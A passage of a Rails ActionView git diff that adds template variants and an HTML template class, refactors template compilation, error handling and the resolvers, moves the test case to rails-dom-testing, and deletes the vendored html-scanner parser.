@@ -291,18 +293,8 @@ module ActionView
           raise WrongEncodingError.new(@source, Encoding.default_internal)
         end
 
-        begin
-          mod.module_eval(source, identifier, 0)
-          ObjectSpace.define_finalizer(self, Finalizer[method_name, mod])
-        rescue Exception => e # errors from template code
-          if logger = (view && view.logger)
-            logger.debug "ERROR: compiling #{method_name} RAISED #{e}"
-            logger.debug "Function body: #{source}"
-            logger.debug "Backtrace: #{e.backtrace.join("\n")}"
-          end
-
-          raise ActionView::Template::Error.new(self, e)
-        end
+        mod.module_eval(source, identifier, 0)
+        ObjectSpace.define_finalizer(self, Finalizer[method_name, mod])
       end
 
       def handle_render_error(view, e) #:nodoc:
@@ -321,15 +313,19 @@ module ActionView
 
       def locals_code #:nodoc:
         # Double assign to suppress the dreaded 'assigned but unused variable' warning
-        @locals.map { |key| "#{key} = #{key} = local_assigns[:#{key}];" }.join
+        @locals.each_with_object('') { |key, code| code << "#{key} = #{key} = local_assigns[:#{key}];" }
       end
 
       def method_name #:nodoc:
-        @method_name ||= "_#{identifier_method_name}__#{@identifier.hash}_#{__id__}".gsub('-', "_")
+        @method_name ||= begin
+          m = "_#{identifier_method_name}__#{@identifier.hash}_#{__id__}"
+          m.tr!('-', '_')
+          m
+        end
       end
 
       def identifier_method_name #:nodoc:
-        inspect.gsub(/[^a-z_]/, '_')
+        inspect.tr('^a-z_', '_')
       end
 
       def instrument(action, &block)
diff --git a/actionview/lib/action_view/template/error.rb b/actionview/lib/action_view/template/error.rb
index a89d51221e..390bce98a2 100644
--- a/actionview/lib/action_view/template/error.rb
+++ b/actionview/lib/action_view/template/error.rb
@@ -41,6 +41,9 @@ module ActionView
         'template'
       end
 
+      if partial && path.present?
+        path = path.sub(%r{([^/]+)$}, "_\\1")
+      end
       searched_paths = prefixes.map { |prefix| [prefix, path].join("/") }
 
       out  = "Missing #{template_type} #{searched_paths.join(", ")} with #{details.inspect}. Searched in:\n"
@@ -56,13 +59,13 @@ module ActionView
     class Error < ActionViewError #:nodoc:
       SOURCE_CODE_RADIUS = 3
 
-      attr_reader :original_exception, :backtrace
+      attr_reader :original_exception
 
       def initialize(template, original_exception)
         super(original_exception.message)
         @template, @original_exception = template, original_exception
         @sub_templates = nil
-        @backtrace = original_exception.backtrace
+        set_backtrace(original_exception.backtrace)
       end
 
       def file_name
@@ -72,7 +75,7 @@ module ActionView
       def sub_template_message
         if @sub_templates
           "Trace of template inclusion: " +
-          @sub_templates.collect { |template| template.inspect }.join(", ")
+          @sub_templates.collect(&:inspect).join(", ")
         else
           ""
         end
diff --git a/actionview/lib/action_view/template/handlers.rb b/actionview/lib/action_view/template/handlers.rb
index d9cddc0040..0105e88a49 100644
--- a/actionview/lib/action_view/template/handlers.rb
+++ b/actionview/lib/action_view/template/handlers.rb
@@ -7,9 +7,9 @@ module ActionView #:nodoc:
       autoload :Raw, 'action_view/template/handlers/raw'
 
       def self.extended(base)
-        base.register_default_template_handler :erb, ERB.new
+        base.register_default_template_handler :raw, Raw.new
+        base.register_template_handler :erb, ERB.new
         base.register_template_handler :builder, Builder.new
-        base.register_template_handler :raw, Raw.new
         base.register_template_handler :ruby, :source.to_proc
       end
 
@@ -22,7 +22,7 @@ module ActionView #:nodoc:
 
       # Register an object that knows how to handle template files with the given
       # extensions. This can be used to implement new template types.
-      # The handler must respond to `:call`, which will be passed the template
+      # The handler must respond to +:call+, which will be passed the template
       # and should return the rendered template as a String.
       def register_template_handler(*extensions, handler)
         raise(ArgumentError, "Extension is required") if extensions.empty?
@@ -32,8 +32,17 @@ module ActionView #:nodoc:
         @@template_extensions = nil
       end
 
+      # Opposite to register_template_handler.
+      def unregister_template_handler(*extensions)
+        extensions.each do |extension|
+          handler = @@template_handlers.delete extension.to_sym
+          @@default_template_handlers = nil if @@default_template_handlers == handler
+        end
+        @@template_extensions = nil
+      end
+
       def template_handler_extensions
-        @@template_handlers.keys.map {|key| key.to_s }.sort
+        @@template_handlers.keys.map(&:to_s).sort
       end
 
       def registered_template_handler(extension)
diff --git a/actionview/lib/action_view/template/handlers/erb.rb b/actionview/lib/action_view/template/handlers/erb.rb
index c8a0059596..85a100ed4c 100644
--- a/actionview/lib/action_view/template/handlers/erb.rb
+++ b/actionview/lib/action_view/template/handlers/erb.rb
@@ -18,7 +18,7 @@ module ActionView
             src << "@output_buffer.safe_append='"
             src << "\n" * @newline_pending if @newline_pending > 0
             src << escape_text(text)
-            src << "';"
+            src << "'.freeze;"
 
             @newline_pending = 0
           end
@@ -35,7 +35,7 @@ module ActionView
           end
         end
 
-        BLOCK_EXPR = /\s+(do|\{)(\s*\|[^|]*\|)?\s*\Z/
+        BLOCK_EXPR = /\s*((\s+|\))do|\{)(\s*\|[^|]*\|)?\s*\Z/
 
         def add_expr_literal(src, code)
           flush_newline_if_pending(src)
@@ -49,9 +49,9 @@ module ActionView
         def add_expr_escaped(src, code)
           flush_newline_if_pending(src)
           if code =~ BLOCK_EXPR
-            src << "@output_buffer.safe_append= " << code
+            src << "@output_buffer.safe_expr_append= " << code
           else
-            src << "@output_buffer.safe_append=(" << code << ");"
+            src << "@output_buffer.safe_expr_append=(" << code << ");"
           end
         end
 
@@ -67,7 +67,7 @@ module ActionView
 
         def flush_newline_if_pending(src)
           if @newline_pending > 0
-            src << "@output_buffer.safe_append='#{"\n" * @newline_pending}';"
+            src << "@output_buffer.safe_append='#{"\n" * @newline_pending}'.freeze;"
             @newline_pending = 0
           end
         end
diff --git a/actionview/lib/action_view/template/handlers/raw.rb b/actionview/lib/action_view/template/handlers/raw.rb
index 0c0d1fffcb..397c86014a 100644
--- a/actionview/lib/action_view/template/handlers/raw.rb
+++ b/actionview/lib/action_view/template/handlers/raw.rb
@@ -2,7 +2,7 @@ module ActionView
   module Template::Handlers
     class Raw
       def call(template)
-        escaped = template.source.gsub(':', '\:')
+        escaped = template.source.gsub(/:/, '\:')
 
         '%q:' + escaped + ':;'
       end
diff --git a/actionview/lib/action_view/template/html.rb b/actionview/lib/action_view/template/html.rb
new file mode 100644
index 0000000000..0321f819b5
--- /dev/null
+++ b/actionview/lib/action_view/template/html.rb
@@ -0,0 +1,34 @@
+module ActionView #:nodoc:
+  # = Action View HTML Template
+  class Template
+    class HTML #:nodoc:
+      attr_accessor :type
+
+      def initialize(string, type = nil)
+        @string = string.to_s
+        @type   = Types[type] || type if type
+        @type ||= Types[:html]
+      end
+
+      def identifier
+        'html template'
+      end
+
+      def inspect
+        'html template'
+      end
+
+      def to_str
+        ERB::Util.h(@string)
+      end
+
+      def render(*args)
+        to_str
+      end
+
+      def formats
+        [@type.respond_to?(:ref) ? @type.ref : @type.to_s]
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/template/resolver.rb b/actionview/lib/action_view/template/resolver.rb
index 3304605c1a..bc0db330ea 100644
--- a/actionview/lib/action_view/template/resolver.rb
+++ b/actionview/lib/action_view/template/resolver.rb
@@ -1,6 +1,6 @@
 require "pathname"
 require "active_support/core_ext/class"
-require "active_support/core_ext/class/attribute_accessors"
+require "active_support/core_ext/module/attribute_accessors"
 require "action_view/template"
 require "thread"
 require "thread_safe"
@@ -138,7 +138,7 @@ module ActionView
     # resolver is fresher before returning it.
     def cached(key, path_info, details, locals) #:nodoc:
       name, prefix, partial = path_info
-      locals = locals.map { |x| x.to_s }.sort!
+      locals = locals.map(&:to_s).sort!
 
       if key
         @cache.cache(key, name, prefix, partial, locals) do
@@ -154,7 +154,8 @@ module ActionView
       cached = nil
       templates.each do |t|
         t.locals         = locals
-        t.formats        = details[:formats] || [:html] if t.formats.empty?
+        t.formats        = details[:formats]  || [:html] if t.formats.empty?
+        t.variants       = details[:variants] || []      if t.variants.empty?
         t.virtual_path ||= (cached ||= build_path(*path_info))
       end
     end
@@ -162,8 +163,8 @@ module ActionView
 
   # An abstract class that implements a Resolver with path semantics.
   class PathResolver < Resolver #:nodoc:
-    EXTENSIONS = [:locale, :formats, :handlers]
-    DEFAULT_PATTERN = ":prefix/:action{.:locale,}{.:formats,}{.:handlers,}"
+    EXTENSIONS = { :locale => ".", :formats => ".", :variants => "+", :handlers => "." }
+    DEFAULT_PATTERN = ":prefix/:action{.:locale,}{.:formats,}{+:variants,}{.:handlers,}"
 
     def initialize(pattern=nil)
       @pattern = pattern || DEFAULT_PATTERN
@@ -180,22 +181,26 @@ module ActionView
     def query(path, details, formats)
       query = build_query(path, details)
 
-      # deals with case-insensitive file systems.
-      sanitizer = Hash.new { |h,dir| h[dir] = Dir["#{dir}/*"] }
-
-      template_paths = Dir[query].reject { |filename|
-        File.directory?(filename) ||
-          !sanitizer[File.dirname(filename)].include?(filename)
-      }
+      template_paths = find_template_paths query
 
       template_paths.map { |template|
-        handler, format = extract_handler_and_format(template, formats)
-        contents = File.binread template
+        handler, format, variant = extract_handler_and_format_and_variant(template, formats)
+        contents = File.binread(template)
 
         Template.new(contents, File.expand_path(template), handler,
           :virtual_path => path.virtual,
           :format       => format,
-          :updated_at   => mtime(template))
+          :variant      => variant,
+          :updated_at   => mtime(template)
+        )
+      }
+    end
+
+    def find_template_paths(query)
+      Dir[query].reject { |filename|
+        File.directory?(filename) ||
+          # deals with case-insensitive file systems.
+          !File.fnmatch(query, filename, File::FNM_EXTGLOB)
       }
     end
 
@@ -225,23 +230,20 @@ module ActionView
       File.mtime(p)
     end
 
-    # Extract handler and formats from path. If a format cannot be a found neither
+    # Extract handler, formats and variant from path. If a format cannot be found neither
     # from the path, or the handler, we should return the array of formats given
     # to the resolver.
-    def extract_handler_and_format(path, default_formats)
+    def extract_handler_and_format_and_variant(path, default_formats)
       pieces = File.basename(path).split(".")
       pieces.shift
 
       extension = pieces.pop
-      unless extension
-        message = "The file #{path} did not specify a template handler. The default is currently ERB, " \
-                  "but will change to RAW in the future."
-        ActiveSupport::Deprecation.warn message
-      end
 
       handler = Template.handler_for_extension(extension)
-      format  = pieces.last && Template::Types[pieces.last]
-      [handler, format]
+      format, variant = pieces.last.split(EXTENSIONS[:variants], 2) if pieces.last
+      format  &&= Template::Types[format]
+
+      [handler, format, variant]
     end
   end
 
@@ -253,13 +255,13 @@ module ActionView
   # Default pattern, loads views the same way as previous versions of rails, eg. when you're
   # looking for `users/new` it will produce query glob: `users/new{.{en},}{.{html,js},}{.{erb,haml},}`
   #
-  #   FileSystemResolver.new("/path/to/views", ":prefix/:action{.:locale,}{.:formats,}{.:handlers,}")
+  #   FileSystemResolver.new("/path/to/views", ":prefix/:action{.:locale,}{.:formats,}{+:variants,}{.:handlers,}")
   #
   # This one allows you to keep files with different formats in separate subdirectories,
   # eg. `users/new.html` will be loaded from `users/html/new.erb` or `users/new.html.erb`,
   # `users/new.js` from `users/js/new.erb` or `users/new.js.erb`, etc.
   #
-  #   FileSystemResolver.new("/path/to/views", ":prefix/{:formats/,}:action{.:locale,}{.:formats,}{.:handlers,}")
+  #   FileSystemResolver.new("/path/to/views", ":prefix/{:formats/,}:action{.:locale,}{.:formats,}{+:variants,}{.:handlers,}")
   #
   # If you don't specify a pattern then the default will be used.
   #
@@ -268,7 +270,7 @@ module ActionView
   #
   #   ActionController::Base.view_paths = FileSystemResolver.new(
   #     Rails.root.join("app/views"),
-  #     ":prefix{/:locale}/:action{.:formats,}{.:handlers,}"
+  #     ":prefix{/:locale}/:action{.:formats,}{+:variants,}{.:handlers,}"
   #   )
   #
   # ==== Pattern format and variables
@@ -280,6 +282,7 @@ module ActionView
   # * <tt>:action</tt> - name of the action
   # * <tt>:locale</tt> - possible locale versions
   # * <tt>:formats</tt> - possible request formats (for example html, json, xml...)
+  # * <tt>:variants</tt> - possible request variants (for example phone, tablet...)
   # * <tt>:handlers</tt> - possible handlers (for example erb, haml, builder...)
   #
   class FileSystemResolver < PathResolver
@@ -303,12 +306,13 @@ module ActionView
   # An Optimized resolver for Rails' most common case.
   class OptimizedFileSystemResolver < FileSystemResolver #:nodoc:
     def build_query(path, details)
-      exts = EXTENSIONS.map { |ext| details[ext] }
       query = escape_entry(File.join(@path, path))
 
-      query + exts.map { |ext|
-        "{#{ext.compact.uniq.map { |e| ".#{e}," }.join}}"
-      }.join
+      exts = EXTENSIONS.map do |ext, prefix|
+        "{#{details[ext].compact.uniq.map { |e| "#{prefix}#{e}," }.join}}"
+      end.join
+
+      query + exts
     end
   end
 
diff --git a/actionview/lib/action_view/template/text.rb b/actionview/lib/action_view/template/text.rb
index 859c7bc3ce..04f5b8d17a 100644
--- a/actionview/lib/action_view/template/text.rb
+++ b/actionview/lib/action_view/template/text.rb
@@ -27,7 +27,7 @@ module ActionView #:nodoc:
       end
 
       def formats
-        [@type.to_sym]
+        [@type.respond_to?(:ref) ? @type.ref : @type.to_s]
       end
     end
   end
diff --git a/actionview/lib/action_view/template/types.rb b/actionview/lib/action_view/template/types.rb
index db77cb5d19..be45fcf742 100644
--- a/actionview/lib/action_view/template/types.rb
+++ b/actionview/lib/action_view/template/types.rb
@@ -1,5 +1,5 @@
 require 'set'
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
 
 module ActionView
   class Template
@@ -9,7 +9,7 @@ module ActionView
         self.types = Set.new
 
         def self.register(*t)
-          types.merge(t.map { |type| type.to_s })
+          types.merge(t.map(&:to_s))
         end
 
         register :html, :text, :js, :css,  :xml, :json
diff --git a/actionview/lib/action_view/test_case.rb b/actionview/lib/action_view/test_case.rb
index 3145446114..06810ad14d 100644
--- a/actionview/lib/action_view/test_case.rb
+++ b/actionview/lib/action_view/test_case.rb
@@ -3,6 +3,8 @@ require 'action_controller'
 require 'action_controller/test_case'
 require 'action_view'
 
+require 'rails-dom-testing'
+
 module ActionView
   # = Action View Test Case
   class TestCase < ActiveSupport::TestCase
@@ -34,6 +36,7 @@ module ActionView
       extend ActiveSupport::Concern
 
       include ActionDispatch::Assertions, ActionDispatch::TestProcess
+      include Rails::Dom::Testing::Assertions
       include ActionController::TemplateAssertions
       include ActionView::Context
 
@@ -99,7 +102,9 @@ module ActionView
       def setup_with_controller
         @controller = ActionView::TestCase::TestController.new
         @request = @controller.request
-        @output_buffer = ActiveSupport::SafeBuffer.new
+        # empty string ensures buffer has UTF-8 encoding as
+        # new without arguments returns ASCII-8BIT encoded buffer like String#new
+        @output_buffer = ActiveSupport::SafeBuffer.new ''
         @rendered = ''
 
         make_test_case_available_to_view!
@@ -120,6 +125,7 @@ module ActionView
         @_rendered_views ||= RenderedViewsCollection.new
       end
 
+      # Need to experiment if this priority is the best one: rendered => output_buffer
       class RenderedViewsCollection
         def initialize
           @rendered_views ||= Hash.new { |hash, key| hash[key] = [] }
@@ -151,11 +157,9 @@ module ActionView
 
     private
 
-      # Support the selector assertions
-      #
       # Need to experiment if this priority is the best one: rendered => output_buffer
-      def response_from_page
-        HTML::Document.new(@rendered.blank? ? @output_buffer : @rendered).root
+      def document_root_element
+        Nokogiri::HTML::Document.parse(@rendered.blank? ? @output_buffer : @rendered).root
       end
 
       def say_no_to_protect_against_forgery!
@@ -200,7 +204,7 @@ module ActionView
       def view
         @view ||= begin
           view = @controller.view_context
-          view.singleton_class.send :include, _helpers
+          view.singleton_class.include(_helpers)
           view.extend(Locals)
           view.rendered_views = self.rendered_views
           view.output_buffer = self.output_buffer
@@ -235,7 +239,9 @@ module ActionView
         :@options,
         :@test_passed,
         :@view,
-        :@view_context_class
+        :@view_context_class,
+        :@_subscribers,
+        :@html_document
       ]
 
       def _user_defined_ivars
@@ -258,7 +264,7 @@ module ActionView
 
       def method_missing(selector, *args)
         if @controller.respond_to?(:_routes) &&
-          ( @controller._routes.named_routes.helpers.include?(selector) ||
+          ( @controller._routes.named_routes.route_defined?(selector) ||
             @controller._routes.mounted_helpers.method_defined?(selector) )
           @controller.__send__(selector, *args)
         else
diff --git a/actionview/lib/action_view/testing/resolvers.rb b/actionview/lib/action_view/testing/resolvers.rb
index 7afa2fa613..dfb7d463b4 100644
--- a/actionview/lib/action_view/testing/resolvers.rb
+++ b/actionview/lib/action_view/testing/resolvers.rb
@@ -21,7 +21,7 @@ module ActionView #:nodoc:
 
     def query(path, exts, formats)
       query = ""
-      EXTENSIONS.each do |ext|
+      EXTENSIONS.each_key do |ext|
         query << '(' << exts[ext].map {|e| e && Regexp.escape(".#{e}") }.join('|') << '|)'
       end
       query = /^(#{Regexp.escape(path)})#{query}$/
@@ -30,9 +30,13 @@ module ActionView #:nodoc:
       @hash.each do |_path, array|
         source, updated_at = array
         next unless _path =~ query
-        handler, format = extract_handler_and_format(_path, formats)
+        handler, format, variant = extract_handler_and_format_and_variant(_path, formats)
         templates << Template.new(source, _path, handler,
-          :virtual_path => path.virtual, :format => format, :updated_at => updated_at)
+          :virtual_path => path.virtual,
+          :format => format,
+          :variant => variant,
+          :updated_at => updated_at
+        )
       end
 
       templates.sort_by {|t| -t.identifier.match(/^#{query}$/).captures.reject(&:blank?).size }
@@ -41,8 +45,8 @@ module ActionView #:nodoc:
 
   class NullResolver < PathResolver
     def query(path, exts, formats)
-      handler, format = extract_handler_and_format(path, formats)
-      [ActionView::Template.new("Template generated by Null Resolver", path, handler, :virtual_path => path, :format => format)]
+      handler, format, variant = extract_handler_and_format_and_variant(path, formats)
+      [ActionView::Template.new("Template generated by Null Resolver", path, handler, :virtual_path => path, :format => format, :variant => variant)]
     end
   end
 
diff --git a/actionview/lib/action_view/vendor/html-scanner.rb b/actionview/lib/action_view/vendor/html-scanner.rb
deleted file mode 100644
index 775b827529..0000000000
--- a/actionview/lib/action_view/vendor/html-scanner.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-$LOAD_PATH.unshift "#{File.dirname(__FILE__)}/html-scanner"
-
-module HTML
-  extend ActiveSupport::Autoload
-
-  eager_autoload do
-    autoload :CDATA, 'html/node'
-    autoload :Document, 'html/document'
-    autoload :FullSanitizer, 'html/sanitizer'
-    autoload :LinkSanitizer, 'html/sanitizer'
-    autoload :Node, 'html/node'
-    autoload :Sanitizer, 'html/sanitizer'
-    autoload :Selector, 'html/selector'
-    autoload :Tag, 'html/node'
-    autoload :Text, 'html/node'
-    autoload :Tokenizer, 'html/tokenizer'
-    autoload :Version, 'html/version'
-    autoload :WhiteListSanitizer, 'html/sanitizer'
-  end
-end
diff --git a/actionview/lib/action_view/vendor/html-scanner/html/document.rb b/actionview/lib/action_view/vendor/html-scanner/html/document.rb
deleted file mode 100644
index 386820300a..0000000000
--- a/actionview/lib/action_view/vendor/html-scanner/html/document.rb
+++ /dev/null
@@ -1,68 +0,0 @@
-require 'html/tokenizer'
-require 'html/node'
-require 'html/selector'
-require 'html/sanitizer'
-
-module HTML #:nodoc:
-  # A top-level HTML document. You give it a body of text, and it will parse that
-  # text into a tree of nodes.
-  class Document #:nodoc:
-
-    # The root of the parsed document.
-    attr_reader :root
-
-    # Create a new Document from the given text.
-    def initialize(text, strict=false, xml=false)
-      tokenizer = Tokenizer.new(text)
-      @root = Node.new(nil)
-      node_stack = [ @root ]
-      while token = tokenizer.next
-        node = Node.parse(node_stack.last, tokenizer.line, tokenizer.position, token, strict)
-
-        node_stack.last.children << node unless node.tag? && node.closing == :close
-        if node.tag?
-          if node_stack.length > 1 && node.closing == :close
-            if node_stack.last.name == node.name
-              if node_stack.last.children.empty?
-                node_stack.last.children << Text.new(node_stack.last, node.line, node.position, "")
-              end
-              node_stack.pop
-            else
-              open_start = node_stack.last.position - 20
-              open_start = 0 if open_start < 0
-              close_start = node.position - 20
-              close_start = 0 if close_start < 0
-              msg = <<EOF.strip
-ignoring attempt to close #{node_stack.last.name} with #{node.name}
-  opened at byte #{node_stack.last.position}, line #{node_stack.last.line}
-  closed at byte #{node.position}, line #{node.line}
-  attributes at open: #{node_stack.last.attributes.inspect}
-  text around open: #{text[open_start,40].inspect}
-  text around close: #{text[close_start,40].inspect}
-EOF
-              strict ? raise(msg) : warn(msg)
-            end
-          elsif !node.childless?(xml) && node.closing != :close
-            node_stack.push node
-          end
-        end
-      end
-    end
-
-    # Search the tree for (and return) the first node that matches the given
-    # conditions. The conditions are interpreted differently for different node
-    # types, see HTML::Text#find and HTML::Tag#find.
-    def find(conditions)
-      @root.find(conditions)
-    end
-
-    # Search the tree for (and return) all nodes that match the given
-    # conditions. The conditions are interpreted differently for different node
-    # types, see HTML::Text#find and HTML::Tag#find.
-    def find_all(conditions)
-      @root.find_all(conditions)
-    end
-
-  end
-
-end
diff --git a/actionview/lib/action_view/vendor/html-scanner/html/node.rb b/actionview/lib/action_view/vendor/html-scanner/html/node.rb
deleted file mode 100644
index 7e7cd4f7b6..0000000000
--- a/actionview/lib/action_view/vendor/html-scanner/html/node.rb
+++ /dev/null
@@ -1,532 +0,0 @@
-require 'strscan'
-
-module HTML #:nodoc:
-
-  class Conditions < Hash #:nodoc:
-    def initialize(hash)
-      super()
-      hash = { :content => hash } unless Hash === hash
-      hash = keys_to_symbols(hash)
-      hash.each do |k,v|
-        case k
-          when :tag, :content then
-            # keys are valid, and require no further processing
-          when :attributes then
-            hash[k] = keys_to_strings(v)
-          when :parent, :child, :ancestor, :descendant, :sibling, :before,
-                  :after
-            hash[k] = Conditions.new(v)
-          when :children
-            hash[k] = v = keys_to_symbols(v)
-            v.each do |key,value|
-              case key
-                when :count, :greater_than, :less_than
-                  # keys are valid, and require no further processing
-                when :only
-                  v[key] = Conditions.new(value)
-                else
-                  raise "illegal key #{key.inspect} => #{value.inspect}"
-              end
-            end
-          else
-            raise "illegal key #{k.inspect} => #{v.inspect}"
-        end
-      end
-      update hash
-    end
-
-    private
-
-      def keys_to_strings(hash)
-        Hash[hash.keys.map {|k| [k.to_s, hash[k]]}]
-      end
-
-      def keys_to_symbols(hash)
-        Hash[hash.keys.map do |k|
-          raise "illegal key #{k.inspect}" unless k.respond_to?(:to_sym)
-          [k.to_sym, hash[k]]
-        end]
-      end
-  end
-
-  # The base class of all nodes, textual and otherwise, in an HTML document.
-  class Node #:nodoc:
-    # The array of children of this node. Not all nodes have children.
-    attr_reader :children
-
-    # The parent node of this node. All nodes have a parent, except for the
-    # root node.
-    attr_reader :parent
-
-    # The line number of the input where this node was begun
-    attr_reader :line
-
-    # The byte position in the input where this node was begun
-    attr_reader :position
-
-    # Create a new node as a child of the given parent.
-    def initialize(parent, line=0, pos=0)
-      @parent = parent
-      @children = []
-      @line, @position = line, pos
-    end
-
-    # Return a textual representation of the node.
-    def to_s
-      @children.join()
-    end
-
-    # Return false (subclasses must override this to provide specific matching
-    # behavior.) +conditions+ may be of any type.
-    def match(conditions)
-      false
-    end
-
-    # Search the children of this node for the first node for which #find
-    # returns non +nil+. Returns the result of the #find call that succeeded.
-    def find(conditions)
-      conditions = validate_conditions(conditions)
-      @children.each do |child|
-        node = child.find(conditions)
-        return node if node
-      end
-      nil
-    end
-
-    # Search for all nodes that match the given conditions, and return them
-    # as an array.
-    def find_all(conditions)
-      conditions = validate_conditions(conditions)
-
-      matches = []
-      matches << self if match(conditions)
-      @children.each do |child|
-        matches.concat child.find_all(conditions)
-      end
-      matches
-    end
-
-    # Returns +false+. Subclasses may override this if they define a kind of
-    # tag.
-    def tag?
-      false
-    end
-
-    def validate_conditions(conditions)
-      Conditions === conditions ? conditions : Conditions.new(conditions)
-    end
-
-    def ==(node)
-      return false unless self.class == node.class && children.size == node.children.size
-
-      equivalent = true
-
-      children.size.times do |i|
-        equivalent &&= children[i] == node.children[i]
-      end
-
-      equivalent
-    end
-
-    class <<self
-      def parse(parent, line, pos, content, strict=true)
-        if content !~ /^<\S/
-          Text.new(parent, line, pos, content)
-        else
-          scanner = StringScanner.new(content)
-
-          unless scanner.skip(/</)
-            if strict
-              raise "expected <"
-            else
-              return Text.new(parent, line, pos, content)
-            end
-          end
-
-          if scanner.skip(/!\[CDATA\[/)
-            unless scanner.skip_until(/\]\]>/)
-              if strict
-                raise "expected ]]> (got #{scanner.rest.inspect} for #{content})"
-              else
-                scanner.skip_until(/\Z/)
-              end
-            end
-
-            return CDATA.new(parent, line, pos, scanner.pre_match.gsub(/<!\[CDATA\[/, ''))
-          end
-
-          closing = ( scanner.scan(/\//) ? :close : nil )
-          return Text.new(parent, line, pos, content) unless name = scanner.scan(/[^\s!>\/]+/)
-          name.downcase!
-
-          unless closing
-            scanner.skip(/\s*/)
-            attributes = {}
-            while attr = scanner.scan(/[-\w:]+/)
-              value = true
-              if scanner.scan(/\s*=\s*/)
-                if delim = scanner.scan(/['"]/)
-                  value = ""
-                  while text = scanner.scan(/[^#{delim}\\]+|./)
-                    case text
-                      when "\\" then
-                        value << text
-                        break if scanner.eos?
-                        value << scanner.getch
-                      when delim
-                        break
-                      else value << text
-                    end
-                  end
-                else
-                  value = scanner.scan(/[^\s>\/]+/)
-                end
-              end
-              attributes[attr.downcase] = value
-              scanner.skip(/\s*/)
-            end
-
-            closing = ( scanner.scan(/\//) ? :self : nil )
-          end
-
-          unless scanner.scan(/\s*>/)
-            if strict
-              raise "expected > (got #{scanner.rest.inspect} for #{content}, #{attributes.inspect})"
-            else
-              # throw away all text until we find what we're looking for
-              scanner.skip_until(/>/) or scanner.terminate
-            end
-          end
-
-          Tag.new(parent, line, pos, name, attributes, closing)
-        end
-      end
-    end
-  end
-
-  # A node that represents text, rather than markup.
-  class Text < Node #:nodoc:
-
-    attr_reader :content
-
-    # Creates a new text node as a child of the given parent, with the given
-    # content.
-    def initialize(parent, line, pos, content)
-      super(parent, line, pos)
-      @content = content
-    end
-
-    # Returns the content of this node.
-    def to_s
-      @content
-    end
-
-    # Returns +self+ if this node meets the given conditions. Text nodes support
-    # conditions of the following kinds:
-    #
-    # * if +conditions+ is a string, it must be a substring of the node's
-    #   content
-    # * if +conditions+ is a regular expression, it must match the node's
-    #   content
-    # * if +conditions+ is a hash, it must contain a <tt>:content</tt> key that
-    #   is either a string or a regexp, and which is interpreted as described
-    #   above.
-    def find(conditions)
-      match(conditions) && self
-    end
-
-    # Returns non-+nil+ if this node meets the given conditions, or +nil+
-    # otherwise. See the discussion of #find for the valid conditions.
-    def match(conditions)
-      case conditions
-        when String
-          @content == conditions
-        when Regexp
-          @content =~ conditions
-        when Hash
-          conditions = validate_conditions(conditions)
-
-          # Text nodes only have :content, :parent, :ancestor
-          unless (conditions.keys - [:content, :parent, :ancestor]).empty?
-            return false
-          end
-
-          match(conditions[:content])
-        else
-          nil
-      end
-    end
-
-    def ==(node)
-      return false unless super
-      content == node.content
-    end
-  end
-
-  # A CDATA node is simply a text node with a specialized way of displaying
-  # itself.
-  class CDATA < Text #:nodoc:
-    def to_s
-      "<![CDATA[#{super}]]>"
-    end
-  end
-
-  # A Tag is any node that represents markup. It may be an opening tag, a
-  # closing tag, or a self-closing tag. It has a name, and may have a hash of
-  # attributes.
-  class Tag < Node #:nodoc:
-
-    # Either +nil+, <tt>:close</tt>, or <tt>:self</tt>
-    attr_reader :closing
-
-    # Either +nil+, or a hash of attributes for this node.
-    attr_reader :attributes
-
-    # The name of this tag.
-    attr_reader :name
-
-    # Create a new node as a child of the given parent, using the given content
-    # to describe the node. It will be parsed and the node name, attributes and
-    # closing status extracted.
-    def initialize(parent, line, pos, name, attributes, closing)
-      super(parent, line, pos)
-      @name = name
-      @attributes = attributes
-      @closing = closing
-    end
-
-    # A convenience for obtaining an attribute of the node. Returns +nil+ if
-    # the node has no attributes.
-    def [](attr)
-      @attributes ? @attributes[attr] : nil
-    end
-
-    # Returns non-+nil+ if this tag can contain child nodes.
-    def childless?(xml = false)
-      return false if xml && @closing.nil?
-      !@closing.nil? ||
-        @name =~ /^(img|br|hr|link|meta|area|base|basefont|
-                    col|frame|input|isindex|param)$/ox
-    end
-
-    # Returns a textual representation of the node
-    def to_s
-      if @closing == :close
-        "</#{@name}>"
-      else
-        s = "<#{@name}"
-        @attributes.each do |k,v|
-          s << " #{k}"
-          s << "=\"#{v}\"" if String === v
-        end
-        s << " /" if @closing == :self
-        s << ">"
-        @children.each { |child| s << child.to_s }
-        s << "</#{@name}>" if @closing != :self && !@children.empty?
-        s
-      end
-    end
-
-    # If either the node or any of its children meet the given conditions, the
-    # matching node is returned. Otherwise, +nil+ is returned. (See the
-    # description of the valid conditions in the +match+ method.)
-    def find(conditions)
-      match(conditions) && self || super
-    end
-
-    # Returns +true+, indicating that this node represents an HTML tag.
-    def tag?
-      true
-    end
-
-    # Returns +true+ if the node meets any of the given conditions. The
-    # +conditions+ parameter must be a hash of any of the following keys
-    # (all are optional):
-    #
-    # * <tt>:tag</tt>: the node name must match the corresponding value
-    # * <tt>:attributes</tt>: a hash. The node's values must match the
-    #   corresponding values in the hash.
-    # * <tt>:parent</tt>: a hash. The node's parent must match the
-    #   corresponding hash.
-    # * <tt>:child</tt>: a hash. At least one of the node's immediate children
-    #   must meet the criteria described by the hash.
-    # * <tt>:ancestor</tt>: a hash. At least one of the node's ancestors must
-    #   meet the criteria described by the hash.
-    # * <tt>:descendant</tt>: a hash. At least one of the node's descendants
-    #   must meet the criteria described by the hash.
-    # * <tt>:sibling</tt>: a hash. At least one of the node's siblings must
-    #   meet the criteria described by the hash.
-    # * <tt>:after</tt>: a hash. The node must be after any sibling meeting
-    #   the criteria described by the hash, and at least one sibling must match.
-    # * <tt>:before</tt>: a hash. The node must be before any sibling meeting
-    #   the criteria described by the hash, and at least one sibling must match.
-    # * <tt>:children</tt>: a hash, for counting children of a node. Accepts the
-    #   keys:
-    # ** <tt>:count</tt>: either a number or a range which must equal (or
-    #    include) the number of children that match.
-    # ** <tt>:less_than</tt>: the number of matching children must be less than
-    #    this number.
-    # ** <tt>:greater_than</tt>: the number of matching children must be
-    #    greater than this number.
-    # ** <tt>:only</tt>: another hash consisting of the keys to use
-    #    to match on the children, and only matching children will be
-    #    counted.
-    #
-    # Conditions are matched using the following algorithm:
-    #
-    # * if the condition is a string, it must be a substring of the value.
